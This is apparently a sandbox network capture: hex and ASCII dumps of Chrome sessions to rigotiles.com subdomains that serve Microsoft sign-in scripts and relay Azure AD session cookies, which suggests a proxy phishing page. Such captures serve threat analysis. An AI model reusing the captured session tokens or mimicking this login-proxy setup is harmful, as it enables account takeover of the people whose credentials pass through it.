2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 Data Ascii: DDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 Data Ascii: "33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.16	51048	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:24 UTC	558	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_117b650bccea354984d8.js HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:24 UTC	1229	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:24 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DCBD5317046A2F Last-Modified: Thu, 15 Aug 2024 17:52:54 GMT X-Azure-Ref: 20241031T153648Z-17d9cd8886fr8n8tducheumng40000000bbg000000001sqf X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: cea6a15c-201e-0050-3fad-253eab000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 19116 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hExAUDfjRB9kSMQId2y4LINTRgX9N9QfmdWTv%2FT7ZYqaxgciL4ApEdurXxjYvHtiYCn9ZLQLI4tvc7K3RDZJ01mqgp%2B74I7mjMoB5XcE4R%2F5NWwoz1vdzJpYRyaZhXLX1i9Dm7F8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bb8df87e54e-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 20:55:24 UTC	191	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 32 38 30 26 73 65 6e 74 3d 34 26 72 65 63 76 3d 37 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 32 39 26 72 65 63 76 5f 62 79 74 65 73 3d 31 31 33 36 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 32 31 36 37 36 36 34 26 63 77 6e 64 3d 32 35 31 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 61 33 61 30 36 64 66 64 61 35 31 31 31 37 33 37 26 74 73 3d 31 35 31 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1280&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1136&delivery_rate=2167664&cwnd=251&unsent_bytes=0&cid=a3a06dfda5111737&ts=151&x=0"
2024-10-31 20:55:24 UTC	1318	IN	Data Raw: 33 38 33 64 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f Data Ascii: 383d/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright no
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 79 70 65 2e 4a 73 6f 6e 2c 72 65 71 75 65 73 74 54 79 70 65 3a 6f 2e 52 65 71 75 65 73 74 54 79 70 65 2e 47 65 74 2c 74 69 6d 65 6f 75 74 3a 33 65 34 2c 73 75 63 63 65 73 73 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 28 65 29 7d 2c 66 61 69 6c 75 72 65 43 61 6c 6c 62 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 65 3c 6e 3f 28 65 2b 3d 31 2c 6e 65 77 20 6f 2e 48 61 6e 64 6c 65 72 28 75 29 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 29 3a 73 28 74 29 7d 7d 3b 6e 65 77 20 6f 2e 48 61 6e 64 6c 65 72 28 75 29 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 7d 29 29 7d 28 74 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 70 61 72 73 65 28 74 29 7d 29 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b Data Ascii: ype.Json,requestType:o.RequestType.Get,timeout:3e4,successCallback:function(t,e){r(e)},failureCallback:function(t){e<n?(e+=1,new o.Handler(u).sendRequest()):s(t)}};new o.Handler(u).sendRequest()}))}(t).then((function(t){return JSON.parse(t)}),(function(){
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 29 7b 74 26 26 22 66 75 6c 66 69 6c 6c 65 64 22 3d 3d 3d 74 2e 73 74 61 74 75 73 26 26 74 2e 76 61 6c 75 65 26 26 28 72 3d 72 2e 63 6f 6e 63 61 74 28 74 2e 76 61 6c 75 65 29 29 7d 29 29 2c 65 2e 73 74 72 69 6e 67 73 28 72 29 2c 65 2e 73 74 72 69 6e 67 73 2e 69 73 4c 6f 61 64 43 6f 6d 70 6c 65 74 65 28 21 30 29 7d 29 29 2c 73 2e 61 6c 6c 53 65 74 74 6c 65 64 28 6e 2e 63 6f 6e 63 61 74 28 6f 29 29 2e 74 68 65 6e 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 69 73 4c 6f 61 64 43 6f 6d 70 6c 65 74 65 28 21 30 29 7d 29 29 2c 73 2e 61 6c 6c 28 6e 29 5b 22 63 61 74 63 68 22 5d 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 68 72 6f 77 20 65 2e 69 73 4c 6f 61 64 46 61 69 6c 75 72 65 28 21 30 29 2c 74 7d 29 29 7d 7d 7d 2c 2c 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c Data Ascii: ){t&&"fulfilled"===t.status&&t.value&&(r=r.concat(t.value))})),e.strings(r),e.strings.isLoadComplete(!0)})),s.allSettled(n.concat(o)).then((function(){e.isLoadComplete(!0)})),s.all(n)["catch"]((function(t){throw e.isLoadFailure(!0),t}))}}},,,function(t,e,
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 37 7d 7d 29 5b 31 5d 7d 29 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 38 34 29 2c 6f 3d 53 74 72 69 6e 67 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 22 53 79 6d 62 6f 6c 22 3d 3d 3d 6e 28 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 6f 6e 76 65 72 74 20 61 20 53 79 6d 62 6f 6c 20 76 61 6c 75 65 20 74 6f 20 61 20 73 74 72 69 6e 67 22 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 36 32 37 29 2c 6f 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 Data Ascii: ction(){return 7}})[1]}))},function(t,e,r){"use strict";var n=r(584),o=String;t.exports=function(t){if("Symbol"===n(t))throw new TypeError("Cannot convert a Symbol value to a string");return o(t)}},function(t,e,r){"use strict";var n=r(627),o=Function.prot
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 74 6f 74 79 70 65 29 3f 41 28 69 29 2e 54 79 70 65 64 41 72 72 61 79 43 6f 6e 73 74 72 75 63 74 6f 72 3d 6f 3a 4c 3d 21 31 3b 66 6f 72 28 6e 20 69 6e 20 42 29 28 69 3d 28 6f 3d 61 5b 6e 5d 29 26 26 6f 2e 70 72 6f 74 6f 74 79 70 65 29 26 26 28 41 28 69 29 2e 54 79 70 65 64 41 72 72 61 79 43 6f 6e 73 74 72 75 63 74 6f 72 3d 6f 29 3b 69 66 28 28 21 4c 7c 7c 21 63 28 50 29 7c 7c 50 3d 3d 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 29 26 26 28 50 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 6e 65 77 20 4d 28 22 49 6e 63 6f 72 72 65 63 74 20 69 6e 76 6f 63 61 74 69 6f 6e 22 29 7d 2c 4c 29 29 66 6f 72 28 6e 20 69 6e 20 44 29 61 5b 6e 5d 26 26 62 28 61 5b 6e 5d 2c 50 29 3b 69 66 28 28 21 4c 7c 7c 21 52 7c 7c 52 3d 3d 3d 6a 29 26 26 28 52 3d Data Ascii: totype)?A(i).TypedArrayConstructor=o:L=!1;for(n in B)(i=(o=a[n])&&o.prototype)&&(A(i).TypedArrayConstructor=o);if((!L\|\|!c(P)\|\|P===Function.prototype)&&(P=function(){throw new M("Incorrect invocation")},L))for(n in D)a[n]&&b(a[n],P);if((!L\|\|!R\|\|R===j)&&(R=
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 2c 69 3d 72 28 35 34 38 29 2c 73 3d 72 28 36 31 33 29 2c 75 3d 72 28 36 31 31 29 2c 61 3d 72 28 38 30 35 29 2c 63 3d 6e 2e 53 79 6d 62 6f 6c 2c 66 3d 6f 28 22 77 6b 73 22 29 2c 6c 3d 61 3f 63 5b 22 66 6f 72 22 5d 7c 7c 63 3a 63 26 26 63 2e 77 69 74 68 6f 75 74 53 65 74 74 65 72 7c 7c 73 3b 74 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 69 28 66 2c 74 29 7c 7c 28 66 5b 74 5d 3d 75 26 26 69 28 63 2c 74 29 3f 63 5b 74 5d 3a 6c 28 22 53 79 6d 62 6f 6c 2e 22 2b 74 29 29 2c 66 5b 74 5d 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 3b 74 2e Data Ascii: ,i=r(548),s=r(613),u=r(611),a=r(805),c=n.Symbol,f=o("wks"),l=a?c["for"]\|\|c:c&&c.withoutSetter\|\|s;t.exports=function(t){return i(f,t)\|\|(f[t]=u&&i(c,t)?c[t]:l("Symbol."+t)),f[t]}},function(t,e,r){"use strict";var n="object"==typeof document&&document.all;t.
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 61 74 63 68 28 66 29 7b 7d 61 3f 74 5b 65 5d 3d 72 3a 6f 2e 66 28 74 2c 65 2c 7b 76 61 6c 75 65 3a 72 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 75 2e 6e 6f 6e 43 6f 6e 66 69 67 75 72 61 62 6c 65 2c 77 72 69 74 61 62 6c 65 3a 21 75 2e 6e 6f 6e 57 72 69 74 61 62 6c 65 7d 29 7d 72 65 74 75 72 6e 20 74 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 34 30 29 2c 6f 3d 72 28 38 30 37 29 2c 69 3d 72 28 38 30 38 29 2c 73 3d 72 28 35 34 33 29 2c 75 3d 72 28 35 39 34 29 2c 61 3d 54 79 70 65 45 72 72 6f 72 2c 63 3d 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 2c 66 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 Data Ascii: atch(f){}a?t[e]=r:o.f(t,e,{value:r,enumerable:!1,configurable:!u.nonConfigurable,writable:!u.nonWritable})}return t}},function(t,e,r){"use strict";var n=r(540),o=r(807),i=r(808),s=r(543),u=r(594),a=TypeError,c=Object.defineProperty,f=Object.getOwnProperty
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 69 6e 69 74 69 61 6c 69 7a 65 64 22 29 3b 72 65 74 75 72 6e 20 65 2e 66 61 63 61 64 65 3d 74 2c 63 28 74 2c 67 2c 65 29 2c 65 7d 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 28 74 2c 67 29 3f 74 5b 67 5d 3a 7b 7d 7d 2c 69 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 28 74 2c 67 29 7d 7d 74 2e 65 78 70 6f 72 74 73 3d 7b 73 65 74 3a 6e 2c 67 65 74 3a 6f 2c 68 61 73 3a 69 2c 65 6e 66 6f 72 63 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 69 28 74 29 3f 6f 28 74 29 3a 6e 28 74 2c 7b 7d 29 7d 2c 67 65 74 74 65 72 46 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3b 69 66 28 21 61 28 65 29 7c 7c 28 72 3d 6f 28 65 29 29 2e 74 79 70 65 Data Ascii: initialized");return e.facade=t,c(t,g,e),e},o=function(t){return f(t,g)?t[g]:{}},i=function(t){return f(t,g)}}t.exports={set:n,get:o,has:i,enforce:function(t){return i(t)?o(t):n(t,{})},getterFor:function(t){return function(e){var r;if(!a(e)\|\|(r=o(e)).type
2024-10-31 20:55:24 UTC	1369	IN	Data Raw: 36 30 29 2c 61 3d 72 28 35 39 34 29 2c 63 3d 72 28 35 34 38 29 2c 66 3d 72 28 38 30 37 29 2c 6c 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 3b 65 2e 66 3d 6e 3f 6c 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 69 66 28 74 3d 75 28 74 29 2c 65 3d 61 28 65 29 2c 66 29 74 72 79 7b 72 65 74 75 72 6e 20 6c 28 74 2c 65 29 7d 63 61 74 63 68 28 72 29 7b 7d 69 66 28 63 28 74 2c 65 29 29 72 65 74 75 72 6e 20 73 28 21 6f 28 69 2e 66 2c 74 2c 65 29 2c 74 5b 65 5d 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 72 28 35 34 30 29 2c 6f 3d 72 28 35 35 36 29 2c 69 3d 72 28 35 37 36 29 3b 74 2e 65 78 70 6f 72 74 73 3d 6e 3f 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 60),a=r(594),c=r(548),f=r(807),l=Object.getOwnPropertyDescriptor;e.f=n?l:function(t,e){if(t=u(t),e=a(e),f)try{return l(t,e)}catch(r){}if(c(t,e))return s(!o(i.f,t,e),t[e])}},function(t,e,r){"use strict";var n=r(540),o=r(556),i=r(576);t.exports=n?function(t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.16	51047	188.114.96.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:24 UTC	1469	OUT	GET /common/handlers/watson HTTP/1.1 Host: mail.rigotiles.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8A [TRUNCATED]
2024-10-31 20:55:24 UTC	1234	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:24 GMT Content-Type: application/json; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Cache-Control: no-cache, no-store Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+wst"}]} Set-Cookie: fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA; Path=/; Expires=Sat, 30 Nov 2024 20:55:24 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; Path=/; HttpOnly; Secure; SameSite=None X-Ms-Ests-Server: 2.1.19343.4 - NCUS ProdSlices X-Ms-Request-Id: 760224bc-ca72-4a3b-8d0b-55a70cff2000 X-Ms-Srs: 1.P cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8db68bb8ecda2e4f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2904&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2047&delivery_rate=1371212&cwnd=248&unsent_bytes=0&cid=4435397a88963803&ts=443&x=0"
2024-10-31 20:55:24 UTC	135	IN	Data Raw: 61 34 0d 0a 7b 22 65 72 72 6f 72 22 3a 7b 22 63 6f 64 65 22 3a 36 31 30 30 2c 22 73 74 73 45 72 72 6f 72 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 2c 22 63 6f 72 72 65 6c 61 74 69 6f 6e 49 64 22 3a 22 31 37 39 32 33 65 62 63 2d 64 34 30 37 2d 34 61 32 63 2d 61 66 34 37 2d 35 38 31 30 37 31 63 39 64 63 39 66 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 22 32 30 32 34 2d 31 30 2d 33 31 20 32 30 3a 35 Data Ascii: a4{"error":{"code":6100,"stsError":"AADSTS900561","correlationId":"17923ebc-d407-4a2c-af47-581071c9dc9f","timestamp":"2024-10-31 20:5
2024-10-31 20:55:24 UTC	35	IN	Data Raw: 35 3a 32 34 5a 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 41 44 53 54 53 39 30 30 35 36 31 22 7d 7d 0d 0a Data Ascii: 5:24Z","message":"AADSTS900561"}}
2024-10-31 20:55:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.16	51051	188.114.97.3	443	7004	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 20:55:24 UTC	737	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_d0a803279e7397bef834.js HTTP/1.1 Host: vn3hg.rigotiles.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://mail.rigotiles.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
2024-10-31 20:55:24 UTC	1232	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 20:55:24 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=31536000 Etag: 0x8DCBD531731891C Last-Modified: Thu, 15 Aug 2024 17:52:54 GMT X-Azure-Ref: 20241029T162004Z-17d9cd8886fksq8kgb8tzt0abg000000063g00000000aavv X-Cache: TCP_HIT X-Fd-Int-Roxy-Purgeid: 0 X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: c8054a49-501e-0004-1e3c-264e51000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Age: 189320 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B6bx47U%2FnZdeIJ9FMSQh3o0ljkl8v8aP4CDkPxihaKUlxRcYfE5nz6WX8yhZ8YGb%2Busz43jeYRo7WDFINAnweB4MG4lK0nqX%2BYzpKC7OCUntJ1SGtx5byPiF%2B5QVb7EktTP0txhH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db68bb8ff073593-DFW alt-svc: h3=":443"; ma=86400
